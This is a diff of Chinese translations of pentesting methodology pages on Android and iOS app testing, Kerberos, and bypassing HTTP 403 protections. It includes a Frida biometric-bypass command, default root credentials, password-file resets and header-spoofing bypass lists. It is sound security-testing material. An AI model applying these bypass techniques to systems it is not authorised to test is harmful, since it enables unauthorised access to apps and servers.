此外，请注意在 Genymotion 的**Android VM 配置中**，您可以选择**桥接网络模式**（如果您将从不同的 VM 连接到 Android VM 使用工具，这将非常有用）。
|
||||
|
||||
#### 使用物理设备
|
||||
|
||||
您需要激活 **调试** 选项，如果您能 **root** 它，那就更好了：
|
||||
您需要激活**调试**选项，如果您可以**root**它，那就更好了：
|
||||
|
||||
1. **设置**。
|
||||
2. （从 Android 8.0 开始）选择 **系统**。
|
||||
3. 选择 **关于手机**。
|
||||
4. 按 **构建号** 7 次。
|
||||
5. 返回，您将找到 **开发者选项**。
|
||||
2. （从 Android 8.0 开始）选择**系统**。
|
||||
3. 选择**关于手机**。
|
||||
4. 按**构建号** 7 次。
|
||||
5. 返回，您将找到**开发者选项**。
|
||||
|
||||
> 一旦您安装了应用程序，您首先应该尝试它并调查它的功能、工作原理，并熟悉它。\
|
||||
> 我建议使用 MobSF 动态分析 + pidcat 进行此初步动态分析，这样我们就可以在 MobSF **捕获** 大量 **有趣的** **数据** 供您稍后查看的同时 **了解应用程序的工作原理**。
|
||||
> 我建议使用 MobSF 动态分析 + pidcat 执行此初步动态分析，这样我们就可以在 MobSF **捕获**大量**有趣的**数据时**了解应用程序的工作原理**，您可以稍后查看这些数据。
|
||||
|
||||
### 意外数据泄露
|
||||
|
||||
**日志记录**
|
||||
|
||||
开发人员应谨慎公开 **调试信息**，因为这可能导致敏感数据泄露。建议使用工具 [**pidcat**](https://github.com/JakeWharton/pidcat) 和 `adb logcat` 监控应用程序日志，以识别和保护敏感信息。**Pidcat** 因其易用性和可读性而受到青睐。
|
||||
开发人员应谨慎公开**调试信息**，因为这可能导致敏感数据泄露。建议使用工具 [**pidcat**](https://github.com/JakeWharton/pidcat) 和 `adb logcat` 监控应用程序日志，以识别和保护敏感信息。**Pidcat**因其易用性和可读性而受到青睐。
|
||||
|
||||
> [!WARNING]
|
||||
> 请注意，从 **Android 4.0 及更高版本** 开始，**应用程序只能访问自己的日志**。因此，应用程序无法访问其他应用的日志。\
|
||||
> 无论如何，仍然建议 **不要记录敏感信息**。
|
||||
> 请注意，从**Android 4.0 及更高版本**开始，**应用程序只能访问自己的日志**。因此，应用程序无法访问其他应用的日志。\
|
||||
> 无论如何，仍然建议**不要记录敏感信息**。
|
||||
|
||||
**复制/粘贴缓冲区缓存**
|
||||
|
||||
Android 的 **基于剪贴板** 的框架使应用程序能够实现复制粘贴功能，但由于 **其他应用程序** 可以 **访问** 剪贴板，可能会暴露敏感数据。因此，至关重要的是 **禁用敏感部分的复制/粘贴** 功能，例如信用卡详细信息，以防止数据泄露。
|
||||
Android 的**基于剪贴板**的框架使应用程序能够实现复制粘贴功能，但由于**其他应用程序**可以**访问**剪贴板，可能会暴露敏感数据。因此，至关重要的是**禁用敏感部分的复制/粘贴**功能，例如信用卡详细信息，以防止数据泄露。
|
||||
|
||||
**崩溃日志**
|
||||
|
||||
如果应用程序 **崩溃** 并 **保存日志**，这些日志可能会帮助攻击者，特别是当应用程序无法被反向工程时。为了降低此风险，避免在崩溃时记录日志，如果必须通过网络传输日志，请确保通过 SSL 通道发送以确保安全。
|
||||
如果应用程序**崩溃**并**保存日志**，这些日志可能会帮助攻击者，特别是当应用程序无法被反向工程时。为了降低此风险，避免在崩溃时记录日志，如果必须通过网络传输日志，请确保通过 SSL 通道发送以确保安全。
|
||||
|
||||
作为渗透测试者，**请尝试查看这些日志**。
|
||||
|
||||
**发送给第三方的分析数据**
|
||||
|
||||
应用程序通常集成 Google Adsense 等服务，这可能由于开发人员的不当实施而 **泄露敏感数据**。为了识别潜在的数据泄露，建议 **拦截应用程序的流量** 并检查是否有任何敏感信息被发送到第三方服务。
|
||||
应用程序通常集成像 Google Adsense 这样的服务，由于开发人员的不当实现，可能会无意中**泄露敏感数据**。为了识别潜在的数据泄露，建议**拦截应用程序的流量**并检查是否有任何敏感信息被发送到第三方服务。
|
||||
|
||||
### SQLite 数据库
|
||||
|
||||
大多数应用程序将使用 **内部 SQLite 数据库** 来保存信息。在渗透测试期间，请 **查看** 创建的 **数据库**、**表** 和 **列** 的名称以及所有 **保存的数据**，因为您可能会发现 **敏感信息**（这将是一个漏洞）。\
|
||||
大多数应用程序将使用**内部 SQLite 数据库**来保存信息。在渗透测试期间，请**查看**创建的**数据库**、**表**和**列**的名称以及所有保存的**数据**，因为您可能会发现**敏感信息**（这将是一个漏洞）。\
|
||||
数据库应位于 `/data/data/the.package.name/databases`，例如 `/data/data/com.mwr.example.sieve/databases`
|
||||
|
||||
如果数据库保存机密信息并且 **加密** 但您可以在应用程序中 **找到** **密码**，这仍然是一个 **漏洞**。
|
||||
如果数据库保存机密信息并且是**加密的**但您可以在应用程序中**找到**密码，这仍然是一个**漏洞**。
|
||||
|
||||
使用 `.tables` 枚举表，使用 `.schema <table_name>` 枚举表的列。
|
||||
|
||||
### Drozer（利用活动、内容提供者和服务）
|
||||
|
||||
来自 [Drozer 文档](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf)：**Drozer** 允许您 **假设 Android 应用程序的角色** 并与其他应用程序交互。它可以做 **任何已安装应用程序可以做的事情**，例如利用 Android 的进程间通信（IPC）机制并与底层操作系统交互。\
|
||||
Drozer 是一个有用的工具，可以 **利用导出活动、导出服务和内容提供者**，您将在以下部分中学习。
|
||||
来自 [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf)：**Drozer** 允许您**假装成一个 Android 应用程序**并与其他应用程序交互。它可以做**任何已安装应用程序可以做的事情**，例如利用 Android 的进程间通信（IPC）机制并与底层操作系统交互。\
|
||||
Drozer 是一个有用的工具，可以**利用导出活动、导出服务和内容提供者**，您将在以下部分中学习。
|
||||
|
||||
### 利用导出活动
|
||||
|
||||
[**如果您想刷新 Android 活动的概念，请阅读此文。**](android-applications-basics.md#launcher-activity-and-other-activities)\
|
||||
还要记住，活动的代码从 **`onCreate`** 方法开始。
|
||||
还要记住，活动的代码从**`onCreate`**方法开始。
|
||||
|
||||
**授权绕过**
|
||||
|
||||
当活动被导出时，您可以从外部应用程序调用其界面。因此，如果导出一个包含 **敏感信息** 的活动，您可能会 **绕过** **身份验证** 机制 **以访问它**。
|
||||
当一个活动被导出时，您可以从外部应用程序调用其界面。因此，如果一个包含**敏感信息**的活动被**导出**，您可能会**绕过**访问它的**身份验证**机制。
|
||||
|
||||
[**了解如何使用 Drozer 利用导出活动。**](drozer-tutorial/index.html#activities)
|
||||
|
||||
@ -390,7 +390,7 @@ _请注意，您可以**省略包名**，手机将自动调用应该打开该链
|
||||
### 传输层检查和验证失败
|
||||
|
||||
- **证书并不总是被 Android 应用程序正确检查**。这些应用程序常常忽视警告，接受自签名证书，或者在某些情况下，恢复使用 HTTP 连接。
|
||||
- **SSL/TLS 握手期间的协商有时很弱**，使用不安全的密码套件。此漏洞使连接容易受到中间人（MITM）攻击，允许攻击者解密数据。
|
||||
- **SSL/TLS 握手期间的协商有时较弱**，使用不安全的密码套件。此漏洞使连接容易受到中间人（MITM）攻击，允许攻击者解密数据。
|
||||
- **私密信息泄露**是一个风险，当应用程序通过安全通道进行身份验证，但随后在其他交易中通过非安全通道进行通信。这种方法未能保护敏感数据，例如会话 cookie 或用户详细信息，免受恶意实体的拦截。
|
||||
|
||||
#### 证书验证
|
||||
@ -403,7 +403,7 @@ SSL 钉扎是一种安全措施，应用程序将服务器的证书与存储在
|
||||
|
||||
#### 流量检查
|
||||
|
||||
要检查 HTTP 流量，必须**安装代理工具的证书**（例如，Burp）。如果不安装此证书，经过代理的加密流量可能不可见。有关安装自定义 CA 证书的指南，[**请点击这里**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine)。
|
||||
要检查 HTTP 流量，必须**安装代理工具的证书**（例如，Burp）。如果不安装此证书，加密流量可能无法通过代理可见。有关安装自定义 CA 证书的指南，[**请点击这里**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine)。
|
||||
|
||||
针对**API Level 24 及以上**的应用程序需要修改网络安全配置以接受代理的 CA 证书。这一步对于检查加密流量至关重要。有关修改网络安全配置的说明，[**请参考此教程**](make-apk-accept-ca-certificate.md)。
|
||||
|
||||
@ -427,9 +427,9 @@ SSL 钉扎是一种安全措施，应用程序将服务器的证书与存储在
|
||||
**您可以访问正在运行的应用程序并在运行时挂钩方法以更改行为、更改值、提取值、运行不同的代码...**\
|
||||
如果您想对 Android 应用程序进行渗透测试，您需要知道如何使用 Frida。
|
||||
|
||||
- 学习如何使用 Frida：[**Frida 教程**](frida-tutorial/)
|
||||
- 一些与 Frida 相关的“GUI”操作：[**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
|
||||
- Ojection 是自动化使用 Frida 的好工具：[**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
|
||||
- 学习如何使用 Frida：[**Frida 教程**](frida-tutorial/index.html)
|
||||
- 一些用于 Frida 操作的“GUI”： [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
|
||||
- Ojection 非常适合自动化使用 Frida：[**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
|
||||
- 您可以在这里找到一些很棒的 Frida 脚本：[**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||
- 尝试通过加载 Frida 绕过反调试/反 Frida 机制，如在[https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace)中所示（工具[linjector](https://github.com/erfur/linjector-rs)）
|
||||
|
||||
@ -474,7 +474,7 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app
|
||||
|
||||
快照通常存储在： **`/data/system_ce/0/snapshots`**
|
||||
|
||||
Android 提供了一种方法来 **通过设置 FLAG_SECURE** 布局参数来防止屏幕截图的捕获。使用此标志时，窗口内容被视为安全，防止其出现在屏幕截图中或在不安全的显示器上查看。
|
||||
Android 提供了一种方法来 **通过设置 FLAG_SECURE** 布局参数来防止屏幕截图的捕获。使用此标志后，窗口内容被视为安全，防止其出现在屏幕截图中或在不安全的显示器上查看。
|
||||
```bash
|
||||
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
||||
```
|
||||
@ -482,16 +482,16 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
||||
|
||||
此工具可以帮助您在动态分析过程中管理不同的工具：[https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
|
||||
|
||||
### Intent 注入
|
||||
### 意图注入
|
||||
|
||||
开发人员经常创建代理组件，如活动、服务和广播接收器，这些组件处理这些 Intents 并将其传递给 `startActivity(...)` 或 `sendBroadcast(...)` 等方法，这可能存在风险。
|
||||
开发人员经常创建代理组件，如活动、服务和广播接收器，处理这些意图并将其传递给 `startActivity(...)` 或 `sendBroadcast(...)` 等方法，这可能存在风险。
|
||||
|
||||
危险在于允许攻击者通过错误引导这些 Intents 来触发未导出的应用组件或访问敏感内容提供者。一个显著的例子是 `WebView` 组件通过 `Intent.parseUri(...)` 将 URL 转换为 `Intent` 对象，然后执行它们，这可能导致恶意 Intent 注入。
|
||||
危险在于允许攻击者通过错误引导这些意图来触发未导出的应用组件或访问敏感内容提供者。一个显著的例子是 `WebView` 组件通过 `Intent.parseUri(...)` 将 URL 转换为 `Intent` 对象，然后执行它们，这可能导致恶意意图注入。
|
||||
|
||||
### 重要要点
|
||||
|
||||
- **Intent 注入** 类似于网络的开放重定向问题。
|
||||
- 利用涉及将 `Intent` 对象作为额外参数传递，这可能被重定向以执行不安全的操作。
|
||||
- **意图注入** 类似于网络的开放重定向问题。
|
||||
- 利用涉及将 `Intent` 对象作为附加项传递，这可能被重定向以执行不安全的操作。
|
||||
- 它可以将未导出的组件和内容提供者暴露给攻击者。
|
||||
- `WebView` 的 URL 到 `Intent` 转换可以促进意外操作。
|
||||
|
||||
@ -500,8 +500,8 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
||||
您可能对这种类型的漏洞有所了解。您必须特别小心 Android 应用中的这些漏洞：
|
||||
|
||||
- **SQL 注入：** 在处理动态查询或内容提供者时，确保使用参数化查询。
|
||||
- **JavaScript 注入 (XSS)：** 验证任何 WebViews 的 JavaScript 和插件支持是否已禁用（默认情况下禁用）。 [更多信息在这里](webview-attacks.md#javascript-enabled)。
|
||||
- **本地文件包含：** WebViews 应禁用对文件系统的访问（默认情况下启用） - `(webview.getSettings().setAllowFileAccess(false);)`。 [更多信息在这里](webview-attacks.md#javascript-enabled)。
|
||||
- **JavaScript 注入 (XSS)：** 验证任何 WebViews 的 JavaScript 和插件支持是否已禁用（默认禁用）。 [更多信息在这里](webview-attacks.md#javascript-enabled)。
|
||||
- **本地文件包含：** WebViews 应禁用对文件系统的访问（默认启用） - `(webview.getSettings().setAllowFileAccess(false);)`。 [更多信息在这里](webview-attacks.md#javascript-enabled)。
|
||||
- **持久性 Cookie：** 在多个情况下，当 Android 应用结束会话时，Cookie 并未被撤销，甚至可能被保存到磁盘。
|
||||
- [**Cookie 中的安全标志**](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
|
||||
|
||||
@ -570,8 +570,8 @@ receivers
|
||||
```
|
||||
**HTTP工具**
|
||||
|
||||
当http流量被捕获时，您可以在“**HTTP(S) Traffic**”底部看到捕获流量的丑陋视图，或在“**Start HTTPTools**”绿色按钮中看到更好的视图。从第二个选项中，您可以**发送**捕获的**请求**到像Burp或Owasp ZAP这样的**代理**。\
|
||||
要做到这一点，_打开Burp -->_ _关闭拦截 --> 在MobSB HTTPTools中选择请求_ --> 按下“**Send to Fuzzer**” --> _选择代理地址_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080))。
|
||||
当http流量被捕获时，您可以在“**HTTP(S) Traffic**”底部看到捕获流量的丑陋视图，或在“**Start HTTPTools**”绿色按钮中看到更好的视图。从第二个选项中，您可以**发送****捕获的请求**到像Burp或Owasp ZAP这样的**代理**。\
|
||||
为此，_打开Burp -->_ _关闭拦截 --> 在MobSB HTTPTools中选择请求_ --> 按下“**Send to Fuzzer**” --> _选择代理地址_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080))。
|
||||
|
||||
完成MobSF的动态分析后，您可以按“**Start Web API Fuzzer**”来**模糊http请求**并寻找漏洞。
|
||||
|
||||
@ -589,13 +589,13 @@ receivers
|
||||
|
||||
### [Yaazhini](https://www.vegabird.com/yaazhini/)
|
||||
|
||||
这是一个**用于执行静态分析的优秀工具，带有GUI**
|
||||
这是一个**用于执行带GUI的静态分析的好工具**
|
||||
|
||||
.png>)
|
||||
|
||||
### [Qark](https://github.com/linkedin/qark)
|
||||
|
||||
该工具旨在查找多个**与安全相关的Android应用程序漏洞**，无论是在**源代码**还是**打包的APK**中。该工具还**能够创建可部署的“概念验证”APK**和**ADB命令**，以利用一些发现的漏洞（暴露的活动、意图、tapjacking...）。与Drozer一样，测试设备无需root。
|
||||
该工具旨在查找多个**与安全相关的Android应用程序漏洞**，无论是在**源代码**还是**打包的APK**中。该工具还**能够创建可部署的“概念验证”APK**和**ADB命令**，以利用一些发现的漏洞（暴露的活动、意图、点击劫持...）。与Drozer一样，测试设备无需root。
|
||||
```bash
|
||||
pip3 install --user qark # --user is only needed if not using a virtualenv
|
||||
qark --apk path/to/my.apk
|
||||
@ -662,15 +662,15 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
||||
它能够：
|
||||
|
||||
- 使用不同工具提取 Java 和 Smali 代码
|
||||
- 使用以下工具分析 APK： [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
|
||||
- 使用以下工具分析 APK：[smalisca](https://github.com/dorneanu/smalisca)、[ClassyShark](https://github.com/google/android-classyshark)、[androbugs](https://github.com/AndroBugs/AndroBugs_Framework)、[androwarn](https://github.com/maaaaz/androwarn)、[APKiD](https://github.com/rednaga/APKiD)
|
||||
- 使用正则表达式从 APK 中提取私人信息。
|
||||
- 分析 Manifest。
|
||||
- 使用以下工具分析发现的域： [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) 和 [whatweb](https://github.com/urbanadventurer/WhatWeb)
|
||||
- 使用以下工具分析发现的域名：[pyssltest](https://github.com/moheshmohan/pyssltest)、[testssl](https://github.com/drwetter/testssl.sh) 和 [whatweb](https://github.com/urbanadventurer/WhatWeb)
|
||||
- 通过 [apk-deguard.com](http://www.apk-deguard.com) 进行 APK 的去混淆。
|
||||
|
||||
### Koodous
|
||||
|
||||
用于检测恶意软件： [https://koodous.com/](https://koodous.com)
|
||||
用于检测恶意软件：[https://koodous.com/](https://koodous.com)
|
||||
|
||||
## 混淆/去混淆代码
|
||||
|
||||
@ -692,7 +692,7 @@ ProGuard 作为 Android SDK 的一部分分发，并在以发布模式构建应
|
||||
- 将结果传递给继承自 FilterInputStream 的类以进行解密；
|
||||
- 进行一些无用的混淆，以浪费反向工程师几分钟的时间；
|
||||
- 将解密后的结果传递给 ZipInputStream 以获取 DEX 文件；
|
||||
- 最后使用 `loadDex` 方法将结果 DEX 作为资源加载。
|
||||
- 最后使用 `loadDex` 方法将结果 DEX 加载为资源。
|
||||
|
||||
### [DeGuard](http://apk-deguard.com)
|
||||
|
||||
@ -710,7 +710,7 @@ ProGuard 作为 Android SDK 的一部分分发，并在以发布模式构建应
|
||||
|
||||
### [APKiD](https://github.com/rednaga/APKiD)
|
||||
|
||||
APKiD 为您提供有关 **APK 是如何制作的** 信息。它识别许多 **编译器**、**打包工具**、**混淆器** 和其他奇怪的东西。它是 Android 的 [_PEiD_](https://www.aldeid.com/wiki/PEiD)。
|
||||
APKiD 提供有关 **APK 是如何制作的** 信息。它识别许多 **编译器**、**打包工具**、**混淆器** 和其他奇怪的东西。它是 Android 的 [_PEiD_](https://www.aldeid.com/wiki/PEiD)。
|
||||
|
||||
### 手动
|
||||
|
||||
@ -722,7 +722,7 @@ APKiD 为您提供有关 **APK 是如何制作的** 信息。它识别许多 **
|
||||
|
||||
AndroL4b 是一个基于 ubuntu-mate 的 Android 安全虚拟机，包含来自不同安全极客和研究人员的最新框架、教程和实验室，用于逆向工程和恶意软件分析。
|
||||
|
||||
## 参考
|
||||
## 参考资料
|
||||
|
||||
- [https://owasp.org/www-project-mobile-app-security/](https://owasp.org/www-project-mobile-app-security/)
|
||||
- [https://appsecwiki.com/#/](https://appsecwiki.com/#/) 这是一个很好的资源列表
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
### **识别 iOS 设备的 UDID**
|
||||
|
||||
为了唯一识别 iOS 设备，使用一个称为 UDID 的 40 位序列。在 macOS Catalina 或更新版本中，可以在 **Finder 应用**中找到，因为 iTunes 不再存在。设备通过 USB 连接并在 Finder 中选择后，点击其名称下的详细信息即可显示其 UDID 及其他信息。
|
||||
要唯一识别 iOS 设备，使用一个称为 UDID 的 40 位序列。在 macOS Catalina 或更高版本中，可以在 **Finder 应用**中找到，因为 iTunes 不再存在。设备通过 USB 连接并在 Finder 中选择后，点击其名称下的详细信息即可显示 UDID 及其他信息。
|
||||
|
||||
对于 Catalina 之前的 macOS 版本，iTunes 方便地发现 UDID。详细说明可以在 [这里](http://www.iclarified.com/52179/how-to-find-your-iphones-udid) 找到。
|
||||
|
||||
@ -31,9 +31,9 @@ $ instruments -s devices
|
||||
```
|
||||
### **访问设备 Shell**
|
||||
|
||||
**SSH 访问** 通过在越狱后安装 **OpenSSH 包** 启用，允许通过 `ssh root@<device_ip_address>` 进行连接。更改用户 `root` 和 `mobile` 的默认密码 (`alpine`) 对于保护设备至关重要。
|
||||
**SSH 访问** 通过在越狱后安装 **OpenSSH 包** 来启用，允许通过 `ssh root@<device_ip_address>` 进行连接。更改用户 `root` 和 `mobile` 的默认密码 (`alpine`) 对于保护设备至关重要。
|
||||
|
||||
在没有 Wi-Fi 的情况下，**通过 USB 的 SSH** 变得必要，使用 `iproxy` 映射设备端口以进行 SSH 连接。此设置通过运行以下命令启用通过 USB 的 SSH 访问：
|
||||
在没有 Wi-Fi 的情况下，**通过 USB 的 SSH** 变得必要，使用 `iproxy` 来映射设备端口以进行 SSH 连接。此设置通过运行以下命令启用通过 USB 的 SSH 访问：
|
||||
```bash
|
||||
$ iproxy 2222 22
|
||||
$ ssh -p 2222 root@localhost
|
||||
@ -42,13 +42,13 @@ $ ssh -p 2222 root@localhost
|
||||
|
||||
### **重置忘记的密码**
|
||||
|
||||
要将忘记的密码重置为默认值（`alpine`），需要编辑 `/private/etc/master.passwd` 文件。这涉及到将现有的哈希替换为 `root` 和 `mobile` 用户条目旁边的 `alpine` 哈希。
|
||||
要将忘记的密码重置为默认值（`alpine`），需要编辑 `/private/etc/master.passwd` 文件。这涉及将现有哈希替换为 `root` 和 `mobile` 用户条目旁边的 `alpine` 哈希。
|
||||
|
||||
## **数据传输技术**
|
||||
|
||||
### **传输应用数据文件**
|
||||
|
||||
**通过 SSH 和 SCP 归档和检索：** 使用 `tar` 归档应用程序的 Data 目录，然后使用 `scp` 进行传输是简单的。下面的命令将 Data 目录归档为 .tgz 文件，然后从设备中提取：
|
||||
**通过 SSH 和 SCP 进行归档和检索：** 使用 `tar` 归档应用程序的 Data 目录，然后使用 `scp` 进行传输是简单的。下面的命令将 Data 目录归档为 .tgz 文件，然后从设备中提取：
|
||||
```bash
|
||||
tar czvf /tmp/data.tgz /private/var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693
|
||||
exit
|
||||
@ -60,7 +60,7 @@ scp -P 2222 root@localhost:/tmp/data.tgz .
|
||||
|
||||
### **使用 Objection 进行文件管理**
|
||||
|
||||
**使用 Objection 的交互式 Shell：** 启动 objection 可以访问应用的 Bundle 目录。从这里，您可以导航到应用的 Documents 目录并管理文件，包括将文件下载和上传到 iOS 设备。
|
||||
**使用 Objection 的交互式 Shell：** 启动 objection 可以访问应用的 Bundle 目录。从这里，您可以导航到应用的 Documents 目录并管理文件，包括下载和上传到 iOS 设备。
|
||||
```bash
|
||||
objection --gadget com.apple.mobilesafari explorer
|
||||
cd /var/mobile/Containers/Data/Application/72C7AAFB-1D75-4FBA-9D83-D8B4A2D44133/Documents
|
||||
@ -70,7 +70,7 @@ file download <filename>
|
||||
|
||||
### **获取IPA文件**
|
||||
|
||||
**无线分发(OTA)链接：** 通过OTA分发的测试应用可以使用ITMS服务资产下载工具下载，该工具通过npm安装并用于将IPA文件保存在本地。
|
||||
**无线分发(OTA)链接：** 通过OTA分发的应用可以使用ITMS服务资产下载工具下载，该工具通过npm安装，用于将IPA文件保存到本地。
|
||||
```bash
|
||||
npm install -g itms-services
|
||||
itms-services -u "itms-services://?action=download-manifest&url=https://s3-ap-southeast-1.amazonaws.com/test-uat/manifest.plist" -o - > out.ipa
|
||||
@ -142,13 +142,13 @@ bagbak --raw Chrome
|
||||
|
||||
### **安装应用程序**
|
||||
|
||||
**侧载** 指的是在官方 App Store 之外安装应用程序。此过程由 **installd daemon** 处理，并要求应用程序使用 Apple 签发的证书进行签名。越狱设备可以通过 **AppSync** 绕过此限制，从而安装伪签名的 IPA 包。
|
||||
**侧载**是指在官方 App Store 之外安装应用程序。此过程由 **installd daemon** 处理，并要求应用程序使用 Apple 签发的证书进行签名。越狱设备可以通过 **AppSync** 绕过此限制，从而安装伪签名的 IPA 包。
|
||||
|
||||
#### **侧载工具**
|
||||
|
||||
- **Cydia Impactor**：一个用于在 iOS 上签名和安装 IPA 文件以及在 Android 上安装 APK 文件的工具。指南和故障排除可以在 [yalujailbreak.net](https://yalujailbreak.net/how-to-use-cydia-impactor/) 上找到。
|
||||
- **Cydia Impactor**：用于在 iOS 上签名和安装 IPA 文件以及在 Android 上安装 APK 文件的工具。指南和故障排除可以在 [yalujailbreak.net](https://yalujailbreak.net/how-to-use-cydia-impactor/) 上找到。
|
||||
|
||||
- **libimobiledevice**：一个用于 Linux 和 macOS 与 iOS 设备通信的库。提供了 ideviceinstaller 的安装命令和使用示例，以便通过 USB 安装应用程序。
|
||||
- **libimobiledevice**：用于与 iOS 设备通信的 Linux 和 macOS 库。提供了 ideviceinstaller 的安装命令和使用示例，以便通过 USB 安装应用程序。
|
||||
|
||||
- **ipainstaller**：此命令行工具允许在 iOS 设备上直接安装应用程序。
|
||||
|
||||
@ -158,13 +158,13 @@ bagbak --raw Chrome
|
||||
|
||||
#### **允许在非 iPad 设备上安装应用程序**
|
||||
|
||||
要在 iPhone 或 iPod touch 设备上安装 iPad 特定的应用程序，需要将 **Info.plist** 文件中的 **UIDeviceFamily** 值更改为 **1**。然而，此修改需要重新签名 IPA 文件，因为存在签名验证检查。
|
||||
要在 iPhone 或 iPod touch 设备上安装特定于 iPad 的应用程序，需要将 **Info.plist** 文件中的 **UIDeviceFamily** 值更改为 **1**。然而，此修改需要重新签名 IPA 文件，因为存在签名验证检查。
|
||||
|
||||
**注意**：如果应用程序要求使用较新 iPad 型号专有的功能，而使用的是较旧的 iPhone 或 iPod touch，则此方法可能会失败。
|
||||
|
||||
## 参考文献
|
||||
## References
|
||||
|
||||
- [https://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/](ttps://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/)
|
||||
- [https://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/](ttps://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/index.html)
|
||||
- [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0052/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0052/)
|
||||
- [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0053/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0053/)
|
||||
- [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0054/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0054/)
|
||||
|
||||
@ -6,16 +6,16 @@
|
||||
|
||||
**Kerberos** 的运作原则是认证用户而不直接管理他们对资源的访问。这是一个重要的区别，因为它强调了该协议在安全框架中的作用。
|
||||
|
||||
在 **Active Directory** 等环境中，**Kerberos** 在通过验证用户的秘密密码来建立用户身份方面发挥着重要作用。这个过程确保在用户与网络资源交互之前确认每个用户的身份。然而，**Kerberos** 并不扩展其功能来评估或强制用户对特定资源或服务的权限。相反，它提供了一种安全的用户认证方式，这是安全过程中的关键第一步。
|
||||
在 **Active Directory** 等环境中，**Kerberos** 在通过验证用户的秘密密码来建立用户身份方面发挥着重要作用。这个过程确保在用户与网络资源交互之前确认每个用户的身份。然而，**Kerberos** 并不扩展其功能来评估或强制执行用户对特定资源或服务的权限。相反，它提供了一种安全的用户认证方式，这是安全过程中的关键第一步。
|
||||
|
||||
在 **Kerberos** 认证之后，关于资源访问的决策过程被委托给网络中的各个服务。这些服务负责根据 **Kerberos** 提供的用户权限信息来评估经过认证的用户的权利和权限。这种设计允许在认证用户身份和管理其访问权限之间进行关注点分离，从而在分布式网络中实现更灵活和安全的资源管理方法。
|
||||
在 **Kerberos** 认证后，关于资源访问的决策过程被委托给网络中的各个服务。这些服务负责根据 **Kerberos** 提供的用户权限信息来评估经过认证的用户的权利和权限。这种设计允许在认证用户身份和管理其访问权限之间进行关注点分离，从而在分布式网络中实现更灵活和安全的资源管理方法。
|
||||
|
||||
**默认端口：** 88/tcp/udp
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
88/tcp open kerberos-sec
|
||||
```
|
||||
### **要学习如何滥用 Kerberos，您应该阅读关于** [**Active Directory**](../../windows-hardening/active-directory-methodology/)** 的帖子。**
|
||||
### **要学习如何滥用 Kerberos，您应该阅读关于** [**Active Directory**](../../windows-hardening/active-directory-methodology/index.html)**的帖子。**
|
||||
|
||||
## 更多
|
||||
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
尝试使用 **不同的动词** 访问文件： `GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK`
|
||||
|
||||
- 检查响应头，可能会提供一些信息。例如，**HEAD** 的 **200 响应** 和 `Content-Length: 55` 表示 **HEAD 动词可以访问信息**。但你仍然需要找到一种方法来提取该信息。
|
||||
- 检查响应头，可能会提供一些信息。例如，**HEAD 的 200 响应** 和 `Content-Length: 55` 表示 **HEAD 动词可以访问信息**。但你仍然需要找到一种方法来提取该信息。
|
||||
- 使用 HTTP 头如 `X-HTTP-Method-Override: PUT` 可以覆盖所使用的动词。
|
||||
- 使用 **`TRACE`** 动词，如果你非常幸运，可能在响应中也能看到 **中间代理添加的头**，这可能会很有用。
|
||||
|
||||
@ -30,21 +30,21 @@
|
||||
- `X-ProxyUser-Ip: 127.0.0.1`
|
||||
- `Host: localhost`
|
||||
|
||||
如果 **路径被保护**，你可以尝试使用这些其他头绕过路径保护：
|
||||
如果 **路径受到保护**，你可以尝试使用这些其他头绕过路径保护：
|
||||
|
||||
- `X-Original-URL: /admin/console`
|
||||
- `X-Rewrite-URL: /admin/console`
|
||||
|
||||
- 如果页面在 **代理后面**，可能是代理阻止你访问私有信息。尝试利用 [**HTTP 请求走私**](../../pentesting-web/http-request-smuggling/) **或** [**逐跳头**](../../pentesting-web/abusing-hop-by-hop-headers.md)**.**
